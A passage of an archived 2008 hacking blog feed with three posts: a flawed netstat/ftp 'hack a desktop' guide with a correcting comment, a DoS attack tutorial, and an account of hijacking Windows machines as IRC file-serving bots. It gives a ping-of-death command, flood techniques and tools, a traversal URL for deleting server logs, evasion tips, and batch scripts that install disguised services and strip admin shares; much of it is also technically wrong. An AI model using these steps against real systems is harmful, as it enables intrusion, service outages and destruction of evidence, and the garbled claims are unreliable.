can open a link with another computer through an open port. This literally means that we are sharing files with this computer, so if the target was alert to the attack, it could do what it wanted back. Still, this is unlikely, so on with the article!&lt;br /&gt;&lt;br /&gt;Once we've opened a file transfer protocol with the target, we can do what we want using DOS commands in the prompt. how about leaving a text file on the desktop saying 'Hacked by...' That's sure to get the target to update their security!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well, I hope that this article was helpful. As I said at the top, feel free to post below modifications to whats in here, as it may not all be completely correct. This process seems to work for me, but tell me your own experiences with it.&lt;br /&gt;&lt;br /&gt;Thanks, The Real Tim Shady&lt;br /&gt;&lt;br /&gt;EDITS&lt;br /&gt;&lt;br /&gt;Finding target's IP&lt;br /&gt;&lt;br /&gt;Did you know that you can find out people's IPs using netstat? If you're connected to them via ICQ, AIM and possibly MSN, then a quick Netstat check on your own system will show an open port to their machine along with their IP address! Simply use that IP address and you can hack their machine!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Portscanners&lt;br /&gt;&lt;br /&gt;Another point that I have noticed is that it is possible to use a portscanner to check for open ports if the remote netstat command doesn't work. I'm not going to give you the addresses of where you can download them, but I reccomend Portscan Plus, because its easier to use. I know I say in the description that you shouldn't need to use any programs, but this one is optional, and I personally don't bother.&lt;br /&gt;&lt;br /&gt;A little tip&lt;br /&gt;&lt;br /&gt;Look for port 139 if you wanna ftp without netstat or a portscanner, as they may have a printer and file share.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Another way to find ports to go through&lt;br /&gt;&lt;br /&gt;I find that a very useful way of finding ports to go through is to run a file like Kazaa on yourself and check netstat on your own machine. This will show you the ports Kazaa or whatever program you're using goes through, and the chances are that they'll be the same on your target's computer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now thats tuts good,but when i try and connect to them via windows ftp it dont work,so i tried using my ftp client and it says&lt;br /&gt;&lt;br /&gt;Connecting......&lt;br /&gt;Connected&lt;br /&gt;Socket connected waiting for logon sequence...&lt;br /&gt;&lt;br /&gt;And thats all it says.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Normally I don't bite - but after a 26hr stint at a downed exchange server, I'm a bit touchy...&lt;br /&gt;&lt;br /&gt;    quote: netstat [target's IP] -a &lt;br /&gt;&lt;br /&gt;My versions (on Linux, XP, 2K, NT, AIX) of netstat are not capable of portscanning a remote machine... fine to show me what I have connected or listening though.&lt;br /&gt;&lt;br /&gt;    quote: ftp &lt;enter&gt;&lt;br /&gt;    open [target's IP] [Port number]&lt;br /&gt;&lt;br /&gt;    You've now got a connection to their machine! From here you can browse around and modify their file system using DOS&lt;br /&gt;&lt;br /&gt;Err, only if the port you pick has an unsecure ftp server listening on the other end - otherwise [as long as it's still an ftp server] you'll still need a username and password. And the command language is not DOS. It's ftp. It won't allow access to the whole file system - onyl what they've exposed. It won't allow you to run applications, but might let you copy [exposed] files off or even might let you out some files on their server.&lt;br /&gt;&lt;br /&gt;    quote: When we use the netstat command on a machine, it searches for open ports&lt;br /&gt;&lt;br /&gt;No It shows you what your local machine has open.&lt;br /&gt;&lt;br /&gt;    quote: By typing the ftp command, we make our system an ftp server.&lt;br /&gt;&lt;br /&gt;No by running an application like IIS, ftpd, Warftpd etc - we make our system into an ftp server. By typing ftp, you open up the ftp client.&lt;br /&gt;&lt;br /&gt;    quote: Once we've opened a file transfer protocol with the target, we can do what we want using DOS commands in the prompt. how about leaving a text file on the desktop saying 'Hacked by...' &lt;br /&gt;&lt;br /&gt;No ftp clients don't use DOS, and I doubt very much that anyone would leave an unsecured ftp server on an unspecified port with full access to the whole system. If you 'owned' someone elses machine, would you leave it a a free-for all for all the script kiddes? or harden it leaving a secure encrypted back channel for your own personal use?&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-7457156471385675496?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/7457156471385675496/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/hacking-desktop-using-netstat-and-ftp.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/7457156471385675496'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/7457156471385675496'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/hacking-desktop-using-netstat-and-ftp.html' title='Hacking a Desktop using netstat and ftp'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-2754596132884269166</id><published>2008-12-10T23:09:00.001+07:00</published><updated>2008-12-10T23:16:13.667+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>How To DDoS ATTACK</title><content type='html'>&lt;span style="font-weight:bold;"&gt;What is a DoS attack ?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A Dos (denial of service) attack is a kinda attack which exploits an existing vulnerability in the operating system or in the softwares of the target machine or Internet Protocols like TCP/IP thus bringing down the aimed service or sometimes all the services of the target system. In short it prevents legitimate users to use the services offered by the target system. Well a very simple example of such attack is ping.. Previously in unpatched Win 95 systems TCP/IP protocols can only handle a data packet within the size of 64400 bytes.. thus a simple ping with the command line  : ping –t –l 65500 &lt;victim’s IP&gt; causes  the system to crash or reboot.. its an example of the most simplest DoS used to be implemented in the previous days..&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;Nowadays this ping attack is  quite lame cause almost all the operating systems are patched to prevent such attacks.. Nowadays advanced sophisticated attacks like SYN Flooding, Tear Drop, Smurf, TARGA3, Semirandom etc. are used. there are many more DoS techniques but I’ll mension only those which are more or less assymetric in nature..(I’ll explain it later)&lt;br /&gt;&lt;br /&gt;There are generally two types of DoS attack.&lt;br /&gt;1. Magic Packets Attack: In this attack an attacker causes a DoS by exploiting an existing vulnerability in the OS running in the target system or softwares of the target system by sending few specially designed data packets to particular ports. Example: Ping of Death, WinNuke.&lt;br /&gt;Inside Info: well one more example I’ll give about this kinda attack regarding Windows XP which I have recently discovered while  a friend of mine was playing a 3D game in my computer.. it’s the MEMORY DUMP bug.. you can say it is a vulnerability existing in Windows XP (I don’t know about the previous versions) waiting to be exploited by intelligent and experienced Hackers.. In Windows XP what happens is that it uses a dump file (%systemroot%\MEMORY.dmp or c:\windows\MEMORY.dmp) to allocate some memory for debugging informations.. by default it is 64 KB.. if somehow  remotely the size of this file is made to exceed 64 KB (considering that the user haven’t change the default size limit of this file which is 64 KB)  then the system will definitely reboot..&lt;br /&gt;2.Resource Exhaustion Attack: Just as the name indicates this kinda attack depends on the fact that every computer system has definite amount of utilisable system resource. In this kinda attack the attacker sends unlimited amount of data packets in a special well planned method in an attempt to overload the system resource and the RAM of the target system  thus compelling it to crash or hang or reboot. &lt;br /&gt;Example: ICMP (Internet Control Message Protocol) Ping for network flood.&lt;br /&gt;&lt;br /&gt;What is Asymmetric DoS ?&lt;br /&gt;&lt;br /&gt;DoS attack can be implemented in a wide range of ways.. For example a T1 connection with a speed of around 10 Mega Bytes per second floods a network with a speed of only 56 kbps (as I have) then its quite obvious that the faster connection will easily flood the network lines of lesser bandwidth with data packets even by simple ping (considering he is in Unix OS.. cause windows does not allow sending of data packets larger than 64400 bytes).. But DoS attack can be performed in a very well planned sophisticated way in which a system with a bandwidth of as low as even 56kbps can bring down a system of very high bandwidth even 25 MBps..&lt;br /&gt;For example if I send an ICMP ping request to a system in a network of considerable bandwidth with spoofed IP in such a way that the target systems thinks that the request is coming from a system within its network so as to compel it to send back the data packet to that particular system in its network thus causing a flood circle..&lt;br /&gt;By repeating this process few times even from a 56 kbps dial up connection it is possible to bring down a network of high bandwidth cause a flood circle is developed within its internal network which will definitely overload the system resource.. &lt;br /&gt;It’s a kinda Magic Packet with Resource Exhaustion attack.. pretty sophisticated and intelligent.. right ??? I guess and hope so.. J Its called smurf attack. I’ll explain it in details later on this article..&lt;br /&gt;&lt;br /&gt;Now lets begin with the main part of this manual ie.. commonly used DoS attacks and how to execute them..&lt;br /&gt;&lt;br /&gt;SYN FLOODING&lt;br /&gt;&lt;br /&gt;This kind of DoS attack is executed by exploiting the TCP/IP 3 way handshake based authentication system. In this attack what happens, an attacker floods the target computer with unfinished SYN requests.. Since the victim computer cannot finish these SYN requests it has to use its system resource to store temporarily these SYN request thus slowly overloading the system resource and finally ending up by crashing it or rebooting it..&lt;br /&gt;&lt;br /&gt;What is TCP/IP 3 way authentication system ?&lt;br /&gt;&lt;br /&gt;Well to understand and execute SYN Flooding flawlessly and effectively you need to understand the very basic of this kind of  attack which exploits the TCP/IP 3 way authentication system.. Now I am sure most of you might be asking what the hell is TCP/IP 3 way authentication system..never heard about it..&lt;br /&gt;Did you ever wondered how authentication takes place when you dial up to your ISP requesting for a connection to your ISP (Internet Service Provider)..&lt;br /&gt;&lt;br /&gt;For a successful connection between two computers.. Host and Client a complete and successful 3 way handshake must take place..&lt;br /&gt;First the client send a SYN Packet (SYN request) to the Host asking for a TCP/IP connection.&lt;br /&gt;Second the host replies with a  SYN/ACK packet to the client thus indicating its response and acknowledgement..&lt;br /&gt;Third the client sends an ACK packet to the host thus completing the connection..&lt;br /&gt;&lt;br /&gt;Client ---------------------à SYN ------------------------àHost   1st    Handshake&lt;br /&gt;Host   --------------------àSYN/ACK--------------------àClient   2nd  Handshake&lt;br /&gt;Client----------------------àACK-------------------------àHost    3rd  Handshake&lt;br /&gt;&lt;br /&gt;This is the very basis of connection establishment between two computers Host and Client.. At first this procedure is carried out then the username password authentication or any other form of authentication takes place..&lt;br /&gt;&lt;br /&gt;Note: SYN packets, ACK Packets are special data packets designed by the Operating System.&lt;br /&gt;&lt;br /&gt;Now I guess you have quite a lot idea about 3 way handshake system.. I guess its not that tough to understand.. Another thing you need to know is about the FIN packet.. Just like SYN,ACK packets FIN is also a specially designed data packet which is send by computer systems to terminate connections with one another..&lt;br /&gt;&lt;br /&gt;How to perform practically a SYN Flooding ?&lt;br /&gt;&lt;br /&gt;Well when you have the knowledge of this kind of attack I mean you know how this kind of attack takes place and what made it a kind of DoS attack.. Its easy to perform..&lt;br /&gt;You need to flood the target computer with unfinished SYN requests.. By unfinished SYN requests I mean only SYN packets not any ACK packet in response with the host’s SYN/ACK packet.. thus compelling it to crash or reboot..&lt;br /&gt;Thinking practically, first I send a SYN packet requesting for a connection with the target system. Now the target system will definitely response with a SYN/ACK packet.. Now what I do is ignore this SYN/ACK packet from the host and I send a couple of more SYN request to the target system.. Firstly I have not completed the earlier 3 way handshake so the target system has a pending SYN packets which is loaded in its memory thus consuming system resource.. Secondly I send a couple of more SYN packets to the target system but did not response to the SYN/ACK packets from the host.. Thus slowly the resource of the target system is consumed by these pending SYN requests which are not being completed by me.. In this way I continued to flood the target system with thousands of SYN requests within a very short time. So what happens the target system’s resource is slowly consumed by these pending SYN packets and ending up with a system crash or reboot thus Denying the services it was offering to its valid users.. &lt;br /&gt;&lt;br /&gt;Well I am sure you might be asking again how to send SYN,ACK  packets to a target system and how to ignore SYN?ACK packet from the target system..Is there any tools for it ??&lt;br /&gt;Yes there are a lot of tools which lets you to send custom made data packets..&lt;br /&gt;Try out Libnet (search in google.com or in http://www.packetfactory.com)&lt;br /&gt;You can also try a very good DoS tool which offers a varied range of DoS attacks..&lt;br /&gt;It is TFN2k.. (again search at google.com ..dont ask me about the tools..)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;TEARDROP ATTACK&lt;br /&gt;This attack is also executed by exploiting a vulnerability present is almost all the Operating Systems.. The packet reassembling Vulnerability.. This is a very intelligent kind of attack which can be carried out from a system with very little bandwidth. It’s a true example of asymmetric DoS.&lt;br /&gt;&lt;br /&gt;What is Packet Reassembling Vulnerability ?&lt;br /&gt;&lt;br /&gt;In explaining this vulnerability I am gonna give some practical example which will clarify all the intricacies of the packet reassembling vulnerability present in almost all the Operating System..&lt;br /&gt;Say you have a 56 KBPS modem.. Now you want to send a file of around 1 MB to your friend through a direct connection as for example File Transfer in msn messenger, file transfer in AOL Instant Messenger, ICQ or by using FTP client-server.. Ever wondered how is it possible.. I mean you have a modem which had a capacity of only 56 Kilobytes per second of data transfer.. Now how come it is gonna transfer a file of 1 MB.. The answer is quite simple.. What actually happens is that the file is broken down into small fragments at the source system know as packets and all these packets are assembled at the target system to produce the original file.. &lt;br /&gt;Every packets of data which are send through the internet has two parts.. &lt;br /&gt;1. The Head Part : This part contains some important infos like sequence number, byte length, data type etc..&lt;br /&gt;2. The Tail Part :  It contains the actual information stored in the file..&lt;br /&gt;&lt;br /&gt;The head part contains the info for reassembling.. &lt;br /&gt;Lets take a small example:&lt;br /&gt;Say I wanna send a file of size 3000 KB to a friend of mine..&lt;br /&gt;Now what happens this file is split up into say 3 parts each containing 1000 KB &lt;br /&gt;&lt;br /&gt;Note: In practice the original fileis split up into much smaller parts.. I have sayed 3 parts only to avoid complications in explanation&lt;br /&gt;&lt;br /&gt;Now these 3 parts are called data packets and each packet will carry 1000 KB..&lt;br /&gt;The header part of the first packet will have a bye length of 1 – 1000&lt;br /&gt;Similarly the header part of second and third packet will have a byte length of 1001-2000 and 2001-3000..&lt;br /&gt;Now each packet has an OFFSET field which indicates which bye to which byte a particular data packet contains… Now according to this OFFSET field the data packets are reassembled in the target system to generate the original file..&lt;br /&gt;&lt;br /&gt;The header part of the data packets in the  above stated file transfer can be explained schematically as :&lt;br /&gt;&lt;br /&gt;Data Packet No.          Size           OFFSET FIELD        Type&lt;br /&gt;       1                        1000              1-1000              TCP/IP&lt;br /&gt;       2                        1000          1001-2000             TCP/IP&lt;br /&gt;       3                        1000          2001-3000             TCP/IP&lt;br /&gt;&lt;br /&gt;How to perform TEARDROP Attack ?&lt;br /&gt;&lt;br /&gt;As for now I guess you are acquainted with packet reassembling system..&lt;br /&gt;In case of teardrop attack this system is exploited.. &lt;br /&gt;In TearDrop attack custom made data packets with confusing OFFSET fields are send to the target system thus ending it up in system crash or reboot..&lt;br /&gt;&lt;br /&gt;First I want to send a file of size say 5000 KB to the target system and the file is split up into 5 data packets each carrying 1000 KB at my end which is supposed to be reassembled in the target system.. For executing the teardrop attack on the target system I have to modify the OFFSET field of these data packets which will be send to the target system where the target system will attempt to reassemble it according to the OFFSET field..&lt;br /&gt;&lt;br /&gt;Say the first packet will have a OFFSET field of 1-1000.. then 1001-2000 now I play the trick from the third packet onwards. I send the third packet with an OFFSET field of 2000-3000 , the fourth with 3000-4000 and the fifth with 4000-5000.. I am sure most of you have noticed that 2000,3000,4000 has appeared twice in the OFFSET field of the data packets send to the target system.. The target system will expect something like : &lt;br /&gt; 1     --à 1000&lt;br /&gt;1001 --à 2000&lt;br /&gt;2001 --à 3000&lt;br /&gt;3001 --à 4000&lt;br /&gt;4001 --à 5000&lt;br /&gt;&lt;br /&gt;but actually it is getting something like:&lt;br /&gt;1      ---à 1000&lt;br /&gt;1001 ---à 2000&lt;br /&gt;2000 ---à 3000&lt;br /&gt;3000 ---à 4000&lt;br /&gt;4000 ---à 5000&lt;br /&gt;&lt;br /&gt;The target system will have no idea as how to handle this kind of data packets and reassembling this data packets according to TCP/IP or Ipv4 will result in system crash or reboot..&lt;br /&gt;&lt;br /&gt;Tools to use: Again you can try Elite or TFN2K.. or if you’re a expert programmer in C or any other language then go for making your own program..&lt;br /&gt;&lt;br /&gt;SMURF ATTACK&lt;br /&gt;&lt;br /&gt;Well this is really an interesting example of asymmetric DoS attack. I think it’s a very smart, intelligent and sophisticated attack but has the capacity of causing a quake in the target network thus bringing down the entire network. Well what happens in this kind of attack is that an attacker uses simple ping flood with spoofed IP and tries to create a circle of flood among the target system and a system within its internal network.. I agree this is a little complicated to understand but its really usefull.. however the target computer may be secure and protected, it can be brought down with a well planned smurf attack.&lt;br /&gt;To deal with this kind of attack you need to know and have a clear conception about IP Spoofing. I agree that IP spoofing may be new to you. In plain words IP Spoofing means to amend your IP with some other IP. For example my IP is 203.192.27.45 . By performing IP Spoofing I can establish a connection or send data packets to a remote system with some other IP say 64.4.44.8 (Probably Hotmail’s IP).. In plain and simple words IP spoofing means to bluff your IP to a remote system.&lt;br /&gt;But wait a second.. aint it cool if the subject of IP Spoofing is so plain and simple as it seems to be and also regarded by some people.. I don’t know about other but practically I feel IP Spoofing is really a complicated subject but one of the most important in hacking.. The most important reason for it being so complicated is because it is a blind attack. You cannot actually see or realize what is the result of your actions on the target system. &lt;br /&gt;To know more about IP Spoofing go through the article called “IP Spoofing Demystified” available in the books sections of http://blacksun.box.sk&lt;br /&gt;&lt;br /&gt;Anyway I think I should give a little overview on IP Spoofing though I don’t think I am an expert in the subject.&lt;br /&gt;&lt;br /&gt;What is IP Spoofing ?&lt;br /&gt;&lt;br /&gt;Well as I have explained IP Spoofing in simple before in this article I don’t want to repeat it anymore. Here I want to explain its intricacies. &lt;br /&gt;As I have explained earlier in this manual about the TCP/IP 3 way handshake authentication system. Another thing I need to say is that the header part of every data packet consists of a sequence number which is particular to that packet only. This sequence number helps the target system to distinguish that particular data packet.. They can be realized as 32 bit counters ranging between 0 to 4,294,967,295&lt;br /&gt;Well in IP Spoofing what happens in order to establish a connection with a remote system with spoofed IP you need to send custom made data packets to the target system. According to the TCP/IP 3 way handshake authentication system, in response to your SYN packets the target computer will send a SYN/ACK packet to the spoofed IP. &lt;br /&gt;For example:&lt;br /&gt;&lt;br /&gt;      Real:    203.197.48.1        SYN           64.4.44.1&lt;br /&gt;Attacker ------------------------------------------------à Target                        &lt;br /&gt;    Spoofed: 203.197.44.250    SYN           64.4.44.1  &lt;br /&gt;&lt;br /&gt; IP: 64.4.44.1                    SYN/ACK                       IP:203.197.44.250&lt;br /&gt;Target   ------------------------------------------------à Spoofed IP&lt;br /&gt;&lt;br /&gt;Well now as you see in order to complete the TCP connection with the spoofed IP you need to send an ACK packet to the target system with a valid sequence number to establish the connection which is a real tough job. Anyway full explanation of IP Spoofing and sequence numbers and its implementations are beyond the scope of this manual. Read “IP Spoofing Demystified” [http://blacksun.box.sk] for more details..&lt;br /&gt;&lt;br /&gt;IMPLENTATION OF SMURF ATTACK&lt;br /&gt;&lt;br /&gt;So far now I think you know the basic overview of smurf attack. In this kind of attack what happens an attacker continuously ping floods the target system with an IP spoofed as the IP of a system within the internal network of the target computer. So what happens in response to your ping requests the target computer sends data packets to the spoofed IP ie. the system within its internal network which causes that system to resend it to our target system. So what happens our target system is being ping flooded from two ends and in one end a circle of ping of death is established which results in resource exhaustion of the target system resulting in system crash. &lt;br /&gt;A WELL PLANNED DoS ATTACK&lt;br /&gt;&lt;br /&gt;In here I am going to figure out some interesting methods of implementing a successful DoS attack.. Well I must agree the fact that I once thought of executing this method to the web server of one big company.. but finally end up when my father came to know about it and threatened me by telling that he will throw out me an my computer from the house..&lt;br /&gt;Hence it is totally a plan of mine and I never practically verified its validity..&lt;br /&gt;&lt;br /&gt;To start with I must say that whatever I do I always know what the hell I am doing. I don’t act like stupid script kiddies and get busted.. though I must agree I am not into real hacking.. First and foremost thing which comes in my mind is your security.. Say you executed a brilliant DoS attack which causes havoc in your target network but finally you end up spending days in government expense.. you got busted pal.. The only reason was that you don’t know what you were doing.. Next day in your news paper you will find a news like “ Hacker got caught for DoS “.. this seems to be pretty cool info for you and your friend.. But do you know how a real hacker will write this news.. he’ll write “  A Stupid script  clicked some button and caused a DoS and since he doesn’t know what he was doing, he got busted “ . I guess it aint cool..&lt;br /&gt;&lt;br /&gt;Now to begin with, say you tried to execute a SYN Flooding on your ISP’s web server. Ok, your lucky enough and somehow you managed to crash your target system but to your utter unconsciousness you forgot to remove the entries in their logs that you left while sending SYN packets or you lack the knowledge about how to remove entries.. generally IIS logs are kept in the folder: C:\Inetpub\wwwroot\_vti_log ..&lt;br /&gt;Generally you can try cross site scripting in order to remove logs.. Though this method is quite lame and old and in most cases don’t work.. A cross site scripted attack URL looks like:&lt;br /&gt;http://ISP.net/../../../../%systemroot%\system32\cmd.exe?del%20 C:\Inetpub\wwwroot\_vti_log\*.txt&lt;br /&gt;&lt;br /&gt;This is just one method.. There are many other methods.. Generally experienced hackers aims at getting root on un protected systems associated with the main server and then attempting some kinds backdoor installation to the main system..&lt;br /&gt;&lt;br /&gt;Now to me what I think a well planned DoS attack is the one in which you’re going to laid down the server simultaneously keeping yourself in the safe side thus protecting yourself from getting busted..&lt;br /&gt;Well what I feel like doing is using shell accounts which allows uploading and installation of custom tools.. I guess you are familiar with shell accounts. These are accounts on a Unix based machines offered as a service by many website like http://freeshells.org which lets you use the resources of the Unix system in the server from your windows system using telnet and by logging into your account..&lt;br /&gt;If you have a shell account like this you can try uploading your tools there and launching your attack from their server thus keeping yourself in the safe side.. &lt;br /&gt;&lt;br /&gt;Protection From DoS Attacks&lt;br /&gt;&lt;br /&gt;Just like the attackers who are finding vulnerabilities to be exploited for causing a DoS attack the programmers of the softwares and particularly and most importantly Operating System are releasing patches for preventing such kind of attacks.. For example Microsoft has patched its OS to prevent SYN Flooding by limiting the number of SYN requests to be stored in the system memory thus preventing it from getting overloaded.. Well this is just one case.. SYN flooding can be executed in many ways and may be also be introduced in many ways in future which these patches wont be able to prevent.. So I think along with updating your softwares and Operating System with patches from its developers it is necessary to know about the attack which is being carried out against you and the vulnerability at your end which is being exploited.. so in order to prevent such attacks..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-2754596132884269166?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/2754596132884269166/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/how-to-ddos-attack.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2754596132884269166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2754596132884269166'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/how-to-ddos-attack.html' title='How To DDoS ATTACK'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-1604429652431855554</id><published>2008-12-10T23:07:00.000+07:00</published><updated>2008-12-10T23:08:50.173+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IRC'/><title type='text'>IRC XDCC BOTS</title><content type='html'>This file was written in order to explain how all this XDCC on IRC is done.&lt;br /&gt;&lt;br /&gt;Lets get right to the point.&lt;br /&gt;XDCC bots are "hacked" computers that usually have weak NT passwords &lt;br /&gt;becuase that is the simplest way to get them. Alot of the people that &lt;br /&gt;accually get these bots dont accually know much about computer security &lt;br /&gt;and are just using some kit that there friend gave them to get xdcc bots &lt;br /&gt;for there channel.&lt;div class="fullpost"&gt;&lt;br /&gt;American EDU's are the primary target of XDCC. Optonlines are also widly used because of &lt;br /&gt;their speed.&lt;br /&gt;&lt;br /&gt;As you will see all of these programs when used alone are not a security threat to anyone, &lt;br /&gt;but when they are combined into a kit like this they can be used to steal thousands of &lt;br /&gt;dollors worth of bandwidth.  Please use the information provided to secure your high&lt;br /&gt;bandwidth networks. The best way to prevent this is to scan your own network with the same&lt;br /&gt;tools they use and see if you are valnerable at all.&lt;br /&gt;&lt;br /&gt;Now onto the good stuff...&lt;br /&gt;&lt;br /&gt;THE ATTACK:&lt;br /&gt;1 - The "hacker" runs X-scan and scans a very large range of IP's. Sometimes he doesnt&lt;br /&gt;    Even scan from his own computer and may use a computer which has already been &lt;br /&gt;    compromised by him. At this point he is only scanning for Weak NT passwords.&lt;br /&gt;2 - He looks through the scan logs and finds computer that have either no administrator &lt;br /&gt;    password, or an easly guessed administrator password. And usually finds quite a few.&lt;br /&gt;3 - He then opens up IE (yes IE) and types "\\127.0.0.1" with the IP of the valnerable &lt;br /&gt;    computer in place of 127.0.0.1. He will then be prompted for a username and password,&lt;br /&gt;    and just enters the username and password that he received from X-scan. &lt;br /&gt;4 - A series of files are then uploaded to the target computer, usually in the &lt;br /&gt;    C:\WINNT\SYSTEM32 directory. &lt;br /&gt;    These files are:&lt;br /&gt;     A) IROFFER - Iroffer is the accuall XDCC bot and is the program that connects to IRC,&lt;br /&gt;                  displays what it has available to send, and sends the files to the users&lt;br /&gt;                  who request them. usually sends are at very fast speeds. Iroffer requires&lt;br /&gt;                  a config file and cygwin1.dll to run.&lt;br /&gt;     B) SERV-U FTP DAEMON - Serv-U is a very powerful FTP server. It is commonly used &lt;br /&gt;                  because of its ease of use, its remote administrator, and because it allows&lt;br /&gt;                  for remote execution which come in very handy when Tar'ing files.&lt;br /&gt;     C) SECURE.BAT - not always named "SECURE.BAT", but it does the same thing no matter &lt;br /&gt;                  what it is named. This batch file will simply delete the IPC$, and the &lt;br /&gt;                  C$ thourgh Z$ share. This will have an effect on the computer until &lt;br /&gt;                  Windows has been restarted. The reason for removing these shares is so &lt;br /&gt;                  that no one else can do the same thing that he just did.&lt;br /&gt;     D) FIREDAEMON - Used to start ordinary programs as services. This will execute IROFFER, &lt;br /&gt;                  SERV-U, and SECURE.BAT before the user even logs on.&lt;br /&gt;     E) INSTALL BATCH FILE - This is what the "hacker" will use to install and  configure firedaemon, &lt;br /&gt;                 once he has installed the services, he starts the new services using "net start &lt;servicename&gt;" &lt;br /&gt;5 - The next step is the execute the INSTALL BATCH FILE. So he just goes to his command line &lt;br /&gt;    and types "PSEXEC \\127.0.0.1 C:\WINNT\SYTEM32\INST.BAT" that will execute psexec and tell &lt;br /&gt;    it to run the INSTALL BATCH FILE on the remote computer. &lt;br /&gt;6 - The computer is now in the IRC channel and the ftp server has been started. He just uploads a few        &lt;br /&gt;    games/movies/mp3s to the newly obtained bot and he is ready to start serving the latest pirated     &lt;br /&gt;    software to a large amount of people.&lt;br /&gt;&lt;br /&gt;That is really about all that there is to this.&lt;br /&gt;&lt;br /&gt;Now to evade detection the person who is doing this crime will rename as many things he possibly can &lt;br /&gt;to make them look like system files. For example, you are most likly now going to see iroffer.exe in &lt;br /&gt;your C:\WINNT\SYSTEM32 folder, you might be named something like system32.exe ssvchost.exe.&lt;br /&gt;&lt;br /&gt;Sometimes the people who accually get the bots will have other people scan for them if they do not know&lt;br /&gt;how to remotly scan from a bot they have already obtained. This is common. &lt;br /&gt;&lt;br /&gt;NOTES: &lt;br /&gt;&lt;br /&gt;The "INSTALL BATCH FILE" looks something like this:&lt;br /&gt;{&lt;br /&gt;   @echo off&lt;br /&gt;   SET MXHOME=c:\winnt\system32&lt;br /&gt;   SET MXBIN=c:\winnt\system32&lt;br /&gt;   c:\winnt\system32\firedaemon -i iroff "c:\winnt\system32" "c:\winnt\system32\iroffer.exe" "xdcc.config" Y 0 0 0 Y&lt;br /&gt;   c:\winnt\system32\firedaemon -i servu "c:\winnt\system32" "c:\winnt\system32\svchost1.exe" "" Y 0 0 0 Y&lt;br /&gt;   c:\winnt\system32\firedaemon -i secur "c:\winnt\system32" "c:\winnt\system32\secur.exe" "" Y 0 0 0 Y&lt;br /&gt;   net start iroff&lt;br /&gt;   net start servu&lt;br /&gt;   net start secur&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The "SECURE.BAT" looks something like this: &lt;br /&gt;{&lt;br /&gt;   @echo off&lt;br /&gt;   net share /delete C$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete D$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete E$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete F$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete G$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete H$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete I$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete J$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete K$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete L$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete N$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete O$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete P$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete Q$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete R$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete S$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete T$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete U$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete V$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete W$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete X$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete Y$ /y 